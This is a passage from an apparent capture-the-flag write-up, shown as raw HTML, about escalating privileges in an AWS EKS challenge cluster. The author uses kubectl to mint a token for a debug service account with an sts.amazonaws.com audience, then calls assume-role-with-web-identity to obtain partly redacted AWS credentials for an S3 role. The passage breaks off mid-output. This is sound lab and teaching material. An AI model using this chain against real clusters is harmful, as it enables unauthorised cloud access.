style=\"color:#F69D50\"\u003esystem:node:challenge:ip-192-168-21-50.us-west-1.compute.internal\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eCan we list buckets?\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e aws\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e s3\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ls\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eAn\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e error\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e occurred\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e (AccessDenied) when calling the ListBuckets operation: Access Denied\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eNope! So we need to figure out how to become the \u003ccode\u003es3access-sa\u003c/code\u003e. What access do\nwe have?\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e auth\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e can-i\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ewarning:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e the\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e list\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e may\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e be\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e incomplete:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e webhook\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e authorizer\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e does\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e not\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e support\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e user\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e rule\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e resolution\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eResources\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Non-Resource\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e URLs\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Resource\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Names\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Verbs\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eserviceaccounts/token\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [] [debug-sa] [create]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eselfsubjectaccessreviews.authorization.k8s.io\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [] [] [create]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eselfsubjectrulesreviews.authorization.k8s.io\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [] [] [create]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003epods\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [] [] [get list]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003esecrets\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [] [] [get list]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eserviceaccounts\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [] [] [get list]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/api/\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/api] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/apis/\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/apis] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/healthz] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/healthz] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/livez] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/livez] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/openapi/\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/openapi] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/readyz] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/readyz] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/version/] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/version/] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/version] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/version] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003epodsecuritypolicies.policy\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [] [eks.privileged] [use]\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eHmm, being able to create tokens for the \u003ccode\u003edebug-sa\u003c/code\u003e resource definitely seems\nsuspicious. So let us see if that will get us anywhere:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e export\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e TOKEN=\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e$(\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e create\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e token\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e debug-sa\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --token\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e $TOKEN \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eauth\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e can-i\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ewarning:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e the\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e list\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e may\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e be\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e incomplete:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e webhook\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e authorizer\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e does\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e not\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e support\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e user\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e rule\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e resolution\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eResources\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Non-Resource\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e URLs\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Resource\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Names\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Verbs\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eselfsubjectaccessreviews.authorization.k8s.io\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [] [] [create]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eselfsubjectrulesreviews.authorization.k8s.io\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [] [] [create]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/.well-known/openid-configuration] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/api/\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/api] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/apis/\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/apis] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/healthz] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/healthz] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/livez] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/livez] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/openapi/\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/openapi] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/openid/v1/jwks] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/readyz] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/readyz] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/version/] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/version/] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/version] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/version] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003epodsecuritypolicies.policy\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [] [eks.privileged] [use]\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eLooks like we have less access than before. So not too helpful, let us take a\nlook at that service account we want to become:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sa\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e s3access-sa\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -o\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e json\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"apiVersion\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"v1\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"kind\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"ServiceAccount\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"metadata\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"annotations\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"eks.amazonaws.com/role-arn\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"arn:aws:iam::688655246681:role/challengeEksS3Role\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e },\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"creationTimestamp\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"2023-10-31T20:07:34Z\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"name\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"s3access-sa\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"namespace\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"challenge5\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"resourceVersion\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"671916\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"uid\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"86e44c49-b05a-4ebe-800b-45183a6ebbda\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eI think we are going to need to use our AWS access to assume that role, I do not\nbelieve our kubernetes access is going to get us anywhere:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e aws\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sts\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e assume-role\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --role-arn\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e arn:aws:iam::688655246681:role/challengeEksS3Role\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --role-session-name\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e test\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eAn\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e error\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e occurred\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e (AccessDenied) when calling the AssumeRole operation: User: arn:aws:sts::688655246681:assumed-role/eks-challenge-cluster-nodegroup-NodeInstanceRole/i-0cb922c6673973282 is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::688655246681:role/challengeEksS3Role\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eOk, so \u003cem\u003emaybe\u003c/em\u003e our kubernetes access is important since we cannot assume the role\ndirectly. Let us try to use that $TOKEN from \u003ccode\u003edebug-sa\u003c/code\u003e to assume the role:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e aws\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sts\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e assume-role-with-web-identity\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --role-arn\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e arn:aws:iam::688655246681:role/challengeEksS3Role\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --role-session-name\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e test\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --web-identity-token\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e $TOKEN\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eAn\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e error\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e occurred\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e (InvalidIdentityToken) when calling the AssumeRoleWithWebIdentity operation: Incorrect token audience\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eGetting closer! The default audience for a token created with \u003ccode\u003ekubectl\u003c/code\u003e is\n\u003ccode\u003ehttps://kubernetes.default.svc\u003c/code\u003e which amazon does not seem to like. Let us try\ncreating it again with \u003ccode\u003ests.amazonaws.com\u003c/code\u003e:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e export\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e TOKEN=\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e$(\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e create\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e token\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e debug-sa\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --audience\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sts.amazonaws.com\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e aws\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sts\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e assume-role-with-web-identity\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --role-arn\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e arn:aws:iam::688655246681:role/challengeEksS3Role\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --role-session-name\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e test\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --web-identity-token\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e $TOKEN\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"Credentials\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"AccessKeyId\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"ASIA2AVYNEV\u0026#x3C;*REDACTED*\u003e\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"SecretAccessKey\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"VTZ4TuDrtHGca\u0026#x3C;*REDACTED*\u003e\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"SessionToken\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"IQoJb3JpZ2luX2VjEAQaCXVzLXd+7ONV2wIgESXuf\u0026#x3C;*REDACTED*\u003e\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"Expiration\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"2023-11-03T05:09:07+00:00\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e },\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"SubjectFromWebIdentityToken\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"system:serviceaccount:challenge5:debug-sa\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"AssumedRoleUser\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"AssumedRoleId\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"AROA2AVYNEVMZEZ2AFVYI:test\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"Arn\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"arn:aws:sts::688655246681:assumed-role/challengeEksS3Role/test\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e 